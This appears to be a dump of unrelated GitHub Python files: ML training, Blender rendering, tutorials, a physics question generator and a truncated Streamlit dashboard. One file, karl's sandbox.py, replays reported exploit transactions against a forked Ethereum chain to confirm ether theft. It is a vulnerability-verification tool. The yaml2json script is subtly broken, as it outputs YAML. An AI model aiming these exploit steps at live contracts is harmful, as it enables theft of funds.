{VOWEL_COUNT}.')\nprint('Here are the amount of each vowel in your sentence: ')\nfor letter in VOWELS:\n print(f'\\t{letter.upper()}: {VOWELS[letter]}')\n","repo_name":"ultra-programmer/Complete_Python3_Bootcamp_Final_Captsone_Projects","sub_path":"text/vowel_count.py","file_name":"vowel_count.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"21407276651","text":"\"\"\"\nMain training script (see README)\n\"\"\"\n\nimport os\nimport time\nimport shutil\nimport random\nimport argparse\nimport pickle\nfrom collections import defaultdict\n\nimport matplotlib\n# We select a backend that will work on any configuration\nmatplotlib.use('Agg')\nfrom matplotlib import pyplot as plt\nimport numpy as np\nimport torch\n\nimport networks\nfrom loader import DatasetLoader\n\n\n# Helper print function\nptime = None\nprintlevel = 1\nLEVELS = {0 : \"DEBUG\", 1 : \"INFO\", 2 : \"WARN\", 3 : \"ERROR\", 4 : \"FATAL\"}\ndef _print(txt, level=1):\n global ptime\n if level < printlevel:\n return\n if ptime is None:\n delay = 0.0\n else:\n delay = time.time() - ptime\n\n print(\"{} [{:.2f}] {}\".format(LEVELS[level], delay, txt))\n ptime = time.time()\n\ndef load(outputpath, usecuda):\n # Load a network from a checkpoint folder\n # This folder must contain:\n # - 'params.net': the parameters of the network to be restored\n # - 'optimizer.data': the optimizer state\n # - 'statsCkpt.pkl': the statistics and parameters of the run so far\n if not usecuda:\n # The models were trained on GPU, we have to map them on CPU\n netParams = torch.load(os.path.join(outputpath, \"params.net\"), map_location='cpu')\n optimizerParams = torch.load(os.path.join(outputpath, \"optimizer.data\"), map_location='cpu')\n else:\n netParams = torch.load(os.path.join(outputpath, \"params.net\"))\n optimizerParams = torch.load(os.path.join(outputpath, \"optimizer.data\"))\n stats = pickle.load(open(os.path.join(outputpath, \"statsCkpt.pkl\"), 'rb'))\n return netParams, optimizerParams, stats\n\ndef save(outputpath, net, opt, stats):\n # Save network parameters and optimizer state.\n torch.save(net.state_dict(), os.path.join(outputpath, \"params.net\"))\n torch.save(optimizer.state_dict(), os.path.join(outputpath, \"optimizer.data\"))\n pickle.dump(stats, open(os.path.join(outputpath, \"statsCkpt.pkl\"), 'wb'), protocol=pickle.HIGHEST_PROTOCOL)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Training script')\n parser.add_argument('inputfolder',\n help=\"Folder containing the dataset (npz files).\\nIt must contain train and test subfolders.\")\n parser.add_argument('outputfolder', \n help=\"Folder where to put the results\")\n parser.add_argument('--cuda', action=\"store_true\", default=False,\n help='Use CUDA (else, default to CPU mode)')\n parser.add_argument('--batchsize', type=int, default=96,\n help='Maximum batch size (the exact number will be adjusted depending on the size of the dataset)',)\n parser.add_argument('--maskthreshold', type=str, choices=[\"otsu\", \"li\", \"nonzero\"], default=\"otsu\",\n help=\"Thresholding algorithm to generate the mask\")\n parser.add_argument('--lr', type=float, default=0.001,\n help=\"Optimizer learning rate\")\n parser.add_argument('--lrdecay', type=float, default=100,\n help=\"Number of epochs after which the learning rate is halved\")\n parser.add_argument('--epochs', type=int, default=350,\n help='Maximum number of training epochs')\n parser.add_argument(\"--limitdata\", default=-1, type=int, \n help=\"If > 0, limit the number of training samples to this value. If -1 (default), no limit.\")\n parser.add_argument(\"--dataaugrate\", default=0.5, type=float, \n help=\"Data augmentation rate, [0, 1]\")\n parser.add_argument(\"--finetuneFrom\", type=str, \n help=\"Network parameter file (.net) to finetune from\", default=\"\")\n parser.add_argument(\"--startFromCkpt\", action='store_const', const=True, default=False, \n help=\"Restart from the state saved in the output directory\")\n parser.add_argument(\"--overwrite\", action='store_const', const=True, default=False, \n help=\"Overwrite the output directory if it already exists, else abort\")\n\n _print(\"Parsing arguments...\")\n args = parser.parse_args()\n\n _print(\"Initializing loaders...\")\n # Training set\n dataTrain = DatasetLoader(os.path.join(args.inputfolder, 'train'), args.batchsize, args.cuda, \n doDataAugmentation=args.dataaugrate, cacheSize=4000, maskType=args.maskthreshold, \n limitData=args.limitdata)\n # Training set, but without data augmentation (so to stabilize batch normalization on small datasets)\n dataTrainNoAug = DatasetLoader(os.path.join(args.inputfolder, 'train'), args.batchsize, args.cuda,\n doDataAugmentation=0.0, cacheSize=4000, maskType=args.maskthreshold, \n limitData=args.limitdata)\n # Validation set\n dataTest = DatasetLoader(os.path.join(args.inputfolder, 'test'), args.batchsize, args.cuda,\n doDataAugmentation=0.0, cacheSize=4000, maskType=args.maskthreshold)\n\n # Stats object\n stats = defaultdict(list)\n\n _print(\"Create network and optimizer\")\n if args.startFromCkpt:\n # We restart from an already existing checkpoint\n netParams, optParams, stats = load(args.outputfolder, args.cuda)\n net = networks.NetTrueFCN()\n net.load_state_dict(netParams)\n if args.cuda:\n \"\"\"\n http://pytorch.org/docs/0.3.1/nn.html#torch.nn.Module.cuda\n This also makes associated parameters and buffers different objects. \n So it should be called before constructing optimizer if the module will live on GPU while being optimized.\n \"\"\"\n net = net.cuda()\n optimizer = torch.optim.Adam(net.parameters(), lr=args.lr)\n optimizer.load_state_dict(optParams)\n startEpoch = len(stats['train'])\n _print(\"Restarted from checkpoint\")\n\n elif os.path.exists(args.outputfolder):\n # The output folder already exists, but we want to start a new training\n if args.overwrite:\n _print(\"Deleting {}\".format(args.outputfolder))\n shutil.rmtree(args.outputfolder)\n else:\n _print(\"Output directory {} already exists, stopping\".format(args.outputfolder))\n exit()\n \n if not args.startFromCkpt:\n net = networks.NetTrueFCN()\n if args.finetuneFrom != \"\":\n # Do we fine-tune from a pretrained network?\n netParams = torch.load(os.path.join(args.finetuneFrom))\n net.load_state_dict(netParams)\n \n if args.cuda:\n \"\"\"\n http://pytorch.org/docs/0.3.1/nn.html#torch.nn.Module.cuda\n This also makes associated parameters and buffers different objects. \n So it should be called before constructing optimizer if the module will live on GPU while being optimized.\n \"\"\"\n net = net.cuda()\n \n optimizer = torch.optim.Adam(net.parameters(), lr=args.lr)\n startEpoch = 0\n os.makedirs(args.outputfolder)\n\n # Ensure that the BN layers momentum is set to a reasonable value\n for child in net.children():\n if type(child) == torch.nn.BatchNorm2d:\n child.momentum = 0.5\n\n # Set learning rate decay\n scheduler = torch.optim.lr_scheduler.StepLR(optimizer, step_size=args.lrdecay, gamma=0.5)\n \n _print(\"Create loss\")\n criterion = torch.nn.MSELoss()\n if args.cuda:\n criterion = criterion.cuda()\n minValidLoss = np.inf\n\n # Training loop\n _print(\"Start training\")\n for epoch in range(startEpoch, args.epochs):\n # Shuffle the train set\n dataTrain.newEpoch()\n dataTest.newEpoch()\n dataTrainNoAug.newEpoch()\n\n scheduler.step()\n stLossTrain, stLossTest, = [], []\n stTrainValues, stTrainNames = [], []\n stTestValues, stTestNames = [], []\n\n # Put the network in train mode\n net.train()\n for (X, y, masks, names) in dataTrain:\n # New batch; we reset the gradients accumulation\n optimizer.zero_grad()\n stTrainNames.extend(names)\n\n # Prediction and loss computation\n predconv, pred = net.forward(X, mask=masks)\n loss = criterion(pred, y)\n\n # For logging purposes\n stLossTrain.append(loss.cpu().data.numpy())\n stTrainValues.append((loss.cpu().data.numpy(), \n pred.cpu().data.numpy(), \n y.cpu().data.numpy()))\n\n # Back-propagation and optimizer step\n loss.backward()\n optimizer.step()\n \n # Avoid any memory leak\n del X, y, masks, pred, predconv, loss\n \n # The data augmentation can considerably drift the avg/std values of a batch.\n # To avoid any issue in validation (where BN layers use estimates from the\n # training batches), we forward the _non-augmented_ training set again in the\n # network. No need to compute the loss or backpropagate, it is only to adjust\n # the BN layers parameters.\n for (X, y, masks, names) in dataTrainNoAug:\n predconv, pred = net.forward(X, mask=masks)\n del X, y, masks, pred, predconv\n\n # Evaluation mode\n net.eval()\n for (X, y, masks, names) in dataTest:\n stTestNames.extend(names)\n\n # Prediction and loss computation\n predconv, pred = net.forward(X, mask=masks)\n loss = criterion(pred, y)\n\n # For logging purposes\n stLossTest.append((loss.cpu().data.numpy()))\n stTestValues.append((loss.cpu().data.numpy(), \n pred.cpu().data.numpy(), \n y.cpu().data.numpy()))\n\n # Avoid any memory leak\n del X, y, masks, pred, predconv, loss\n \n # Aggregate stats\n for key,func in zip(('trainMean', 'trainMed', 'trainMin', 'trainStd'),\n (np.mean, np.median, np.min, np.std)):\n stats[key].append(np.sqrt(func(stLossTrain)))\n \n for key,func in zip(('testMean', 'testMed', 'testMin', 'testStd'),\n (np.mean, np.median, np.min, np.std)):\n stats[key].append(np.sqrt(func(stLossTest)))\n\n # Save the loss curves\n plt.figure(figsize=(12, 9))\n plt.plot(stats['trainMean'], linewidth=2, color='#00CC00', linestyle=\"solid\", label=\"Train\")\n plt.fill_between(np.arange(len(stats['trainMean'])), \n np.array(stats['trainMean']) - np.array(stats['trainStd']),\n np.array(stats['trainMean']) + np.array(stats['trainStd']),\n color='#99FF99', alpha=0.7)\n plt.plot(stats['testMean'], linewidth=2, color='#0000CC', linestyle=\"solid\", label=\"Validation\")\n plt.fill_between(np.arange(len(stats['testMean'])), \n np.array(stats['testMean']) - np.array(stats['testStd']),\n np.array(stats['testMean']) + np.array(stats['testStd']),\n color='#9999FF', alpha=0.7)\n plt.legend()\n plt.xlabel(\"Epoch\")\n plt.ylabel(\"RMSE over the predicted scores\")\n plt.savefig(os.path.join(args.outputfolder, \"loss.png\"), bbox_inches='tight')\n plt.close()\n\n # If the network is the best so far (in validation), we keep it\n isBest = False\n if minValidLoss > stats['testMean'][-1]:\n print(\"New best network ({} RMSE is better than the previous {})\".format(stats['testMean'][-1], minValidLoss))\n minValidLoss = stats['testMean'][-1]\n save(args.outputfolder, net, optimizer, stats)\n isBest = True\n \n pickle.dump({\n \"train\":{\n \"names\": stTrainNames, \"vals\":stTrainValues\n },\n \"test\":{\n \"names\": stTestNames, \"vals\":stTestValues\n }\n }, open(os.path.join(args.outputfolder, 'bestNetworkPredictions.pkl'), 'wb'))\n\n _print(\"Epoch {} done!\\n\\tAvg loss train/validation : {} / {}\".format(epoch, stats['trainMean'][-1], stats['testMean'][-1]))\n\n # Save the current stats\n pickle.dump(stats, open(os.path.join(args.outputfolder, \"stats.pkl\"), 'wb'), protocol=pickle.HIGHEST_PROTOCOL)\n \n","repo_name":"PDKlab/STEDQualityRatingFCN","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":12498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"43841828293","text":"import logging\nimport json\nimport sys\nfrom karl.sandbox.exceptions import (\n BlockNumberInvalidException,\n ContractInvalidException,\n ReportInvalidException,\n RPCInvalidException,\n)\nfrom karl.sandbox.vulnerability import Vulnerability\nfrom karl.sandbox.ganache import Ganache\nfrom web3 import Web3, HTTPProvider\n\n\nclass Sandbox:\n def __init__(\n self,\n block_number=None,\n contract_address=None,\n report=None,\n rpc=None,\n verbosity=logging.NOTSET,\n ):\n self.logger = logging.getLogger(__name__)\n self.logger.setLevel(verbosity)\n self.verbosity = verbosity\n\n if rpc is None:\n raise (RPCInvalidException)\n self.rpc = rpc\n\n if block_number is None:\n raise (BlockNumberInvalidException)\n self.block_number = block_number\n\n if contract_address is None:\n raise (ContractInvalidException)\n self.contract_address = contract_address\n\n if report is None:\n raise (ReportInvalidException)\n self.report = report\n\n def check_exploitability(self):\n exploits = []\n\n hacker = Web3.toChecksumAddress(Ganache.accounts[9])\n feeder = Web3.toChecksumAddress(Ganache.accounts[8])\n\n # Parse report and generate vulnerability list\n vulns = []\n for i in range(0, len(self.report.issues)):\n issue = self.report.sorted_issues()[i]\n\n if \"withdraw its balance\" in issue[\"description\"]:\n vuln_type = \"KILL_AND_WITHDRAW\"\n description = (\n \"Looks line anyone can kill this contract and steal its balance.\"\n )\n elif \"withdraw ETH\" in issue[\"description\"]:\n vuln_type = \"ETHER_THEFT\"\n description = \"Looks like anyone can withdraw ETH from this contract.\"\n else:\n vuln_type = \"KILL_ONLY\"\n description = \"Anybody can accidentally kill this contract.\"\n\n transactions = issue[\"tx_sequence\"]\n\n # Build formatted transaction list\n transaction_list = []\n for i in range(0, len(transactions[\"steps\"])):\n t = transactions[\"steps\"][i]\n tx = {\n \"from\": hacker,\n \"to\": self.contract_address,\n # If a transaction has an argument that points\n # to the hacker replace that\n \"data\": t[\"input\"].replace(\n \"deadbeefdeadbeefdeadbeefdeadbeefdeadbeef\", hacker[2:]\n ),\n \"value\": int(t[\"value\"], 16),\n }\n transaction_list.append(tx)\n\n vulns.append(\n Vulnerability(\n kind=vuln_type,\n description=description,\n transactions=transaction_list,\n )\n )\n\n # Test each vulnerability\n for i, v in enumerate(vulns):\n self.logger.debug(v)\n\n # Set up new forked chain\n self.logger.debug(\"Forking chain at block {}\".format(self.block_number))\n ganache = Ganache(\n internal_port=9545, rpc=self.rpc, verbosity=self.verbosity\n )\n w3 = Web3(HTTPProvider(ganache.internal_rpc))\n initial_balance = w3.eth.getBalance(hacker)\n\n # Force feed ether\n \"\"\"\n pragma solidity 0.5.1;\n\n contract SelfDestructor {\n constructor(address payable _receiver) public payable {\n selfdestruct(_receiver);\n }\n }\n \"\"\"\n self.logger.debug(\"Feeding eth to contract\")\n tx_feed_args = {\n \"from\": feeder,\n \"data\": \"0x6080604052604051602080604c833981018060405260208110156021\"\n \"57600080fd5b81019080805190602001909291905050508073\"\n \"ffffffffffffffffffffffffffffffffffffffff16fffe\"\n # Add the address of the contract that is force fed\n + str(24 * \"0\") + self.contract_address[2:].lower(),\n # Feed with 1 ETH\n \"value\": 10 ** 18,\n }\n self.logger.debug(\"Transaction = {}\".format(tx_feed_args))\n tx_feed_hash = w3.eth.sendTransaction(tx_feed_args)\n tx_feed_receipt = w3.eth.waitForTransactionReceipt(tx_feed_hash, timeout=10)\n self.logger.debug(\"Fed ether in receipt = {}\".format(tx_feed_receipt))\n\n # Sending transactions to chain\n for tx in v.transactions:\n self.logger.debug(\"Sending transaction\")\n self.logger.debug(\"Transaction = {}\".format(tx))\n try:\n tx_hash = w3.eth.sendTransaction(tx)\n tx_receipt = w3.eth.waitForTransactionReceipt(tx_hash, timeout=10)\n self.logger.debug(\"Receipt = {}\".format(tx_receipt))\n except Exception as e:\n self.logger.error(\n \"Exception raised while exploiting the contract: %s\\n%s\",\n e,\n sys.exc_info()[2],\n )\n\n final_balance = w3.eth.getBalance(hacker)\n if final_balance > initial_balance:\n print(\"Confirmed vulnerability!\")\n print(\"========================\")\n print(\n (\n \"Initial balance = {initial_eth:.2f} ether ({initial_wei} wei)\\n\"\n + \"Final balance = {final_eth:.2f} ether ({final_wei} wei)\"\n ).format(\n initial_eth=initial_balance / 10 ** 18,\n initial_wei=initial_balance,\n final_eth=final_balance / 10 ** 18,\n final_wei=final_balance,\n )\n )\n v.confirmed = True\n print(v)\n print(\"========================\")\n exploits.append(self.report.sorted_issues()[i])\n else:\n print(\"Doesn't have more ether after exploit\")\n\n # Stop forked chain\n self.logger.debug(\"Stopping forked chain\")\n ganache.stop()\n\n return exploits\n","repo_name":"cleanunicorn/karl","sub_path":"karl/sandbox/sandbox.py","file_name":"sandbox.py","file_ext":"py","file_size_in_byte":6374,"program_lang":"python","lang":"en","doc_type":"code","stars":308,"dataset":"github-code","pt":"48"} +{"seq_id":"11945441206","text":"import bpy\nimport sys\n\nargv = sys.argv\nargv = argv[argv.index(\"--\") + 1:]\n\nobj_path = argv[0]\noutput_path = './tmp/render.png'\n\nbpy.ops.object.select_all(action='SELECT')\nbpy.ops.object.delete()\n\nbpy.ops.import_scene.obj(filepath=obj_path)\n\nbpy.context.scene.render.engine = 'CYCLES'\n\ncam = bpy.data.cameras.new(\"Camera\")\ncam_obj = bpy.data.objects.new(\"Camera\", cam)\nbpy.context.scene.collection.objects.link(cam_obj)\nbpy.context.scene.camera = cam_obj\ncam_obj.location = (0, -3, 1)\ncam_obj.rotation_euler = (1.10871, 0, 0.785398)\n\nlight_data = bpy.data.lights.new(name=\"Light\", type='POINT')\nlight_object = bpy.data.objects.new(name=\"Light\", object_data=light_data)\nbpy.context.collection.objects.link(light_object)\nlight_object.location = (0, -3, 5)\n\nbpy.context.scene.render.resolution_x = 1920\nbpy.context.scene.render.resolution_y = 1080\n\nbpy.context.scene.render.filepath = output_path\n\nbpy.ops.render.render(write_still=True)","repo_name":"Loping151/FAFO","sub_path":"renderer/render_obj_blender.py","file_name":"render_obj_blender.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"27606440970","text":"# -*- coding: utf-8 -*-\n# @Time : 2018/11/28 11:31\n# @Author : fovegage\n# @Email : fovegage@gmail.com\n# @File : call_stu.py\n# @Software: PyCharm\n\n# 可调用对象\nclass A():\n def __call__(self, a):\n self.a = a\n print(self.a)\n\n def print(self):\n print(self.a)\n\n\nt = A()\nt(5)\nprint(t.__dict__)\n\n\n# t.print()\n\nclass Entity():\n\n def __init__(self, size, x, y):\n self.x, self.y = x, y\n self.size = size\n\n def __call__(self, x, y):\n '''改变实体的位置'''\n self.x, self.y = y, x\n print(self.x, self.y)\n\n\ne = Entity(3, 4, 3)\ne(3, 5) # e.__call__(3, 5) 两者作用一样\n\nprint(e.__dict__)\n\n\nclass Fab:\n\n # def __init__(self, start):\n # self.start = start\n\n def __call__(self, *args, **kwargs):\n print(args)\n a, b = 0, 1\n self.list = []\n for i in range(*args, **kwargs):\n self.list.append(b)\n a, b = b, a + b\n return self.list\n\n # def __str__(self):\n # return self.list\n\n\nprint(Fab()(10))\n# f = Fab()\n# print(f(10))\n","repo_name":"fovegage/learn-python","sub_path":"Python魔术方法/可调用对象/call_stu.py","file_name":"call_stu.py","file_ext":"py","file_size_in_byte":1075,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"15945374283","text":"import json\nimport os\nimport sys\nimport yaml\n\nif len(sys.argv) > 1:\n# Opening a file\n if os.path.exists(sys.argv[1]):\n source_file = open(sys.argv[1], \"r\")\n source_content = yaml.safe_load(source_file)\n source_file.close()\n # If file isn't found\n else:\n print(f\"ERROR: \", {sys.argv[1]}, \" not found\")\n exit(1)\nelse:\n print(\"Wrong execution format\")\n\n# Processing the conversion\noutput = yaml.dump(source_content)\n\ntarget_file = open(sys.argv[2], \"w\")\ntarget_file.write(output)\ntarget_file.close()\n\n# python3 yaml2json.py example.yaml output.json - Terminal input to create new file.\n\n","repo_name":"SamuelNaiwo/Scripting","sub_path":"yaml2json/yaml2json.py","file_name":"yaml2json.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5006039992","text":"import random\n\n# If a car has initial velocity of 1 m/s and has a constant acceleration of 0.1 m/s2 for 20 s,\n# then what is the final velocity of the car?\n\n# If a car attains a velocity of 10 m/s by applying a constant acceleration of 0.1 m/s2 for 20s,\n# then what is the initial velocity of the car?\n\n# If a car has initial velocity of 1 m/s and attains a velocity of 10 m/s in 20s ,\n# then what is the acceleration of the car?\n\n# If a car has initial velocity of 1 m/s and has a constant acceleration of 0.1 m/s2,\n# then what is the time taken by the car to attain a velocity of 10 m/s?\n\n# path = './dataset'\n# os.mkdir(path)\n\nqns = open('./questions.txt', 'w')\nans = open('./answers.txt','w')\nno_of_samples = 2000000\n\ndef calculation_v(u,a,t):\n return round(u + (a*t),1)\ndef calculation_u(v,a,t):\n return round(v - (a*t),1)\ndef calculation_a(u,v,t):\n return round((v - u) / t,1)\ndef calculation_t(u,v,a):\n return round((v - u) / a,1)\n\n\ndef type1():\n u = random.randint(0,1000)\n a = random.randint(0,40)\n t = random.randint(1,40)\n v = str(calculation_v(u,a,t)) + \" m/s\\n\"\n q = \"If a car has initial velocity of \" +str(u) + \" m/s and has a constant acceleration of \" + str(a) + \" m/s2 for \" + str(t) + \" s,then what is the final velocity of the car?\\n\"\n return q,v\n\ndef type2():\n a = random.randint(0,40)\n t = random.randint(1,40)\n v = random.randint(a*t,(a*t)+1000)\n u = str(calculation_u(v,a,t)) + \" m/s\\n\"\n q = \"If a car attains a velocity of \" +str(v) + \" m/s by applying a constant acceleration of \" + str(a) + \" m/s2 for \" + str(t) + \" s, then what is the initial velocity of the car?\\n\"\n return q,u\n\ndef type3():\n u = random.randint(0,500)\n v = random.randint(u,u+500)\n t = random.randint(1,20)\n a = str(calculation_a(u,v,t)) + \" m/s2\\n\"\n q = \"If a car has initial velocity of \" +str(u)+ \" m/s and attains a velocity of \" + str(v) + \" m/s in \" + str(t) + \" s ,then what is the acceleration of the car?\\n\"\n return q,a\n\ndef type4():\n u = random.randint(0,500)\n v = random.randint(u,u+500)\n a = random.randint(1,20)\n t = str(calculation_t(u,v,a)) + \" s\\n\"\n q = \"If a car has initial velocity of \" + str(u) + \" m/s and has a constant acceleration of \" + str(a) + \" m/s2,then what is the time taken by the car to attain a velocity of \" + str(v) + \" m/s?\\n\"\n return q,t\n\nfor i in range(no_of_samples):\n types = random.randint(1,4)\n if types == 1:\n ques,answer = type1()\n if types == 2:\n ques,answer = type2()\n if types == 3:\n ques,answer = type3()\n if types == 4:\n ques,answer = type4()\n qns.write(ques)\n ans.write(answer)\n\nqns.close()\nans.close()\n","repo_name":"misterpawan/scimat2","sub_path":"science/Kinematics/vuat_model1/vuat_model1.py","file_name":"vuat_model1.py","file_ext":"py","file_size_in_byte":2685,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"13385247487","text":"import streamlit as st\nimport pandas as pd\nimport datetime\nimport plotly.express as px\n\nimport plotly.graph_objects as go\n\nfrom function import regexFromDate2022, regexFromDate2022OneMonth, color_negative_to_red, PIE_COLOR, load_data, addCustomStyle, branchToCluster, TARGET_REVENUE_EASTERN, TARGET_REVENUE_BEKASI, TARGET_REVENUE_BOGOR, TARGET_REVENUE_KARAWANG, IMAGE_DOWN, IMAGE_UP, TARGET_REVENUE_DAILY_EASTERN, TARGET_REVENUE_DAILY_BEKASI, TARGET_REVENUE_DAILY_BOGOR, TARGET_REVENUE_DAILY_KARAWANG\nfrom numerize import numerize\n\nst.set_page_config(layout=\"wide\")\n\n# ----------------------------------------------------------- STYLING --------------------------------------------------------\naddCustomStyle()\n\n# ------------------------------------------------ COLLECT & PREPARATION DATA ------------------------------------------------\n# max_date_data, raw_data22, raw_data23, raw_rgb_all, raw_l4, raw_l4_2022, raw_outlet, outlet_data, eastern_jabotabek_all_revenue = load_data('All')\nmax_date_data, raw_data22, raw_data23, raw_rgb_all, raw_l4, raw_l4_2022, raw_outlet, outlet_data = load_data('All')\nraw_data22.columns = ['Rev_Date', 'Cluster', 'Rev_sum', 'Month', 'Date', 'Service']\nraw_data23.columns = ['Rev_Date', 'Cluster', 'Rev_sum', 'Month', 'Date', 'Service']\nraw_rgb_all.columns = ['Date', 'Subs', 'Cluster']\nraw_l4.columns = ['Service', 'Rev_sum', 'Month', 'Day', 'Divisi', 'Cluster']\nraw_l4_2022.columns = ['Date', 'Service', 'Rev_sum', 'Cluster']\nraw_outlet.columns = ['Cluster', 'Outlet Register']\noutlet_data.columns = ['Cluster', 'Outlet', 'Rev_sum']\n# eastern_jabotabek_all_revenue.columns = ['Keterangan', 'Value']\n# eastern_jabotabek_all_revenue\n# all_rev_eastern = eastern_jabotabek_all_revenue.loc[eastern_jabotabek_all_revenue['Keterangan'] == 'all revenue', 'Value'].iloc[0]\n# all_rev_eastern\n# target_revenue_eastern = eastern_jabotabek_all_revenue.loc[eastern_jabotabek_all_revenue['Keterangan'] == 'target revenue eastern', 'Value'].iloc[0]\n# target_revenue_eastern\n# target_revenue_daily_eastern = eastern_jabotabek_all_revenue.loc[eastern_jabotabek_all_revenue['Keterangan'] == 'target revenue daily eastern', 'Value'].iloc[0]\n# target_revenue_daily_eastern\n\nraw_data23['Month'] = raw_data23['Month'].astype('int')\nraw_data22['Month'] = raw_data22['Month'].astype('int')\nraw_l4['Month'] = raw_l4['Month'].astype('int')\nraw_data23['Date'] = raw_data23['Date'].astype('int')\nraw_data22['Date'] = raw_data22['Date'].astype('int')\nraw_l4['Day'] = raw_l4['Day'].astype('int')\nraw_outlet['Outlet Register'] = raw_outlet['Outlet Register'].astype('int')\noutlet_data['Outlet'] = outlet_data['Outlet'].astype('int')\noutlet_data['Rev_sum'] = outlet_data['Rev_sum'].astype('int')\n\n\n\n\n# ---------------------------------------------------------- HEADER ----------------------------------------------------------\ncola, colb, colc = st.columns([9, 1, 2])\nwith cola:\n st.title(':red[DDS REGIONAL] EASTERN')\nwith colb:\n selected_type = colb.date_input(\n 'Daily',\n max_date_data,\n max_value=max_date_data,\n min_value=datetime.datetime(2023, 1, 1),\n label_visibility=\"hidden\")\nwith colc:\n selected_branch = st.selectbox(\n 'EASTERN JABOTABEK',\n ('EASTERN JABOTABEK', 'BEKASI', 'BOGOR', 'KARAWANG PURWAKARTA'), label_visibility=\"hidden\"\n ) \n\n# -------------------------------------------------------- TOTAL REV ---------------------------------------------------------\nlist_cluster_in_branch = branchToCluster(selected_branch)\nraw_data23_branch = raw_data23.loc[raw_data23['Cluster'].isin(list_cluster_in_branch)]\nraw_data22_branch = raw_data22.loc[raw_data22['Cluster'].isin(list_cluster_in_branch)]\n# if(selected_branch == 'EASTERN JABOTABEK'):\n# raw_data23_branch = raw_data23\n# raw_data22_branch = raw_data22\n# else:\n# raw_data23_branch = raw_data23.loc[raw_data23['Cluster'] == selected_branch]\n# raw_data22_branch = raw_data22.loc[raw_data22['Cluster'] == selected_branch]\n\ntotal_rev_number_M = raw_data23_branch.loc[(raw_data23_branch['Month'] == selected_type.month) & (raw_data23_branch['Date'] <= selected_type.day), 'Rev_sum'].sum()\nif(selected_type.month == 1):\n total_rev_number_M_1 = raw_data22_branch.loc[(raw_data22_branch['Month'] == 12) & (raw_data22_branch['Date'] <= selected_type.day), 'Rev_sum'].sum()\nelse:\n total_rev_number_M_1 = raw_data23_branch.loc[(raw_data23_branch['Month'] == (selected_type.month - 1)) & (raw_data23_branch['Date'] <= selected_type.day), 'Rev_sum'].sum()\n\n# ------------------------------------------------ DAILY REV & REV TO TARGET -------------------------------------------------\ndaily_rev = total_rev_number_M / selected_type.day\n\nif(selected_branch == 'EASTERN JABOTABEK'):\n daily_rev_gap = numerize.numerize(float(daily_rev - TARGET_REVENUE_DAILY_EASTERN))\n rev_to_target_number = float(total_rev_number_M) / TARGET_REVENUE_EASTERN * 100\n rev_to_target_gap = numerize.numerize(float(total_rev_number_M) - TARGET_REVENUE_EASTERN)\nelif(selected_branch == 'BEKASI'):\n daily_rev_gap = numerize.numerize(float(daily_rev - TARGET_REVENUE_DAILY_BEKASI))\n rev_to_target_number = float(total_rev_number_M) / TARGET_REVENUE_BEKASI * 100\n rev_to_target_gap = numerize.numerize(float(total_rev_number_M) - TARGET_REVENUE_BEKASI)\nelif(selected_branch == 'BOGOR'):\n daily_rev_gap = numerize.numerize(float(daily_rev - TARGET_REVENUE_DAILY_BOGOR))\n rev_to_target_number = float(total_rev_number_M) / TARGET_REVENUE_BOGOR * 100\n rev_to_target_gap = numerize.numerize(float(total_rev_number_M) - TARGET_REVENUE_BOGOR)\nelif(selected_branch == 'KARAWANG PURWAKARTA'):\n daily_rev_gap = numerize.numerize(float(daily_rev - TARGET_REVENUE_DAILY_KARAWANG))\n rev_to_target_number = float(total_rev_number_M) / TARGET_REVENUE_KARAWANG * 100\n rev_to_target_gap = numerize.numerize(float(total_rev_number_M) - TARGET_REVENUE_KARAWANG)\nelse:\n daily_rev_gap = numerize.numerize(float(daily_rev - TARGET_REVENUE_DAILY_EASTERN))\n rev_to_target_number = float(total_rev_number_M) / TARGET_REVENUE_EASTERN * 100\n rev_to_target_gap = numerize.numerize(float(total_rev_number_M) - TARGET_REVENUE_EASTERN)\n\n# ----------------------------------------------------------- MoM ------------------------------------------------------------\nMoM = numerize.numerize(((total_rev_number_M / total_rev_number_M_1) - 1) * 100)\nMoM_gap = numerize.numerize(float(total_rev_number_M - total_rev_number_M_1))\n\n# ----------------------------------------------------------- Y-1 ------------------------------------------------------------\ny_1_date = datetime.datetime(2022, selected_type.month, selected_type.day)\ntotal_rev_2022 = raw_data22_branch.loc[(raw_data22_branch['Month'] <= selected_type.month -1) | ((raw_data22_branch['Month'] == selected_type.month) & (raw_data22_branch['Date'] <= selected_type.day)), 'Rev_sum'].sum()\ntotal_rev_2023 = raw_data23_branch.loc[(raw_data23_branch['Month'] <= selected_type.month -1) | ((raw_data23_branch['Month'] == selected_type.month) & (raw_data23_branch['Date'] <= selected_type.day)), 'Rev_sum'].sum()\n\n# ----------------------------------------------------------- YtD ------------------------------------------------------------\nYtD = numerize.numerize(((total_rev_2023 / total_rev_2022) - 1) * 100)\nYtD_gap = numerize.numerize(float(total_rev_2023 - total_rev_2022))\n\n# ----------------------------------------------------------- YoY ------------------------------------------------------------\ntotal_rev__number_M_22 = raw_data22_branch.loc[(raw_data22_branch['Month'] == selected_type.month) & (raw_data22_branch['Date'] <= selected_type.day), 'Rev_sum'].sum()\nYoY = numerize.numerize(((total_rev_number_M / total_rev__number_M_22) - 1) * 100)\nYoY_gap = numerize.numerize(float(total_rev_number_M - total_rev__number_M_22))\n\n# -------------------------------------------------------- LINE CHART --------------------------------------------------------\ntrend_monthly_rev_actual_data = raw_data23_branch.loc[(raw_data23_branch['Month'] <= selected_type.month -1) | ((raw_data23_branch['Month'] == selected_type.month) & (raw_data23_branch['Date'] <= selected_type.day))]\ntrend_monthly_rev = (trend_monthly_rev_actual_data.groupby(['Month'])['Rev_sum'].sum()).to_frame().reset_index()\ntrend_monthly_rev.columns = ['Month', 'Actual']\ntrend_monthly_rev_YoY_data = 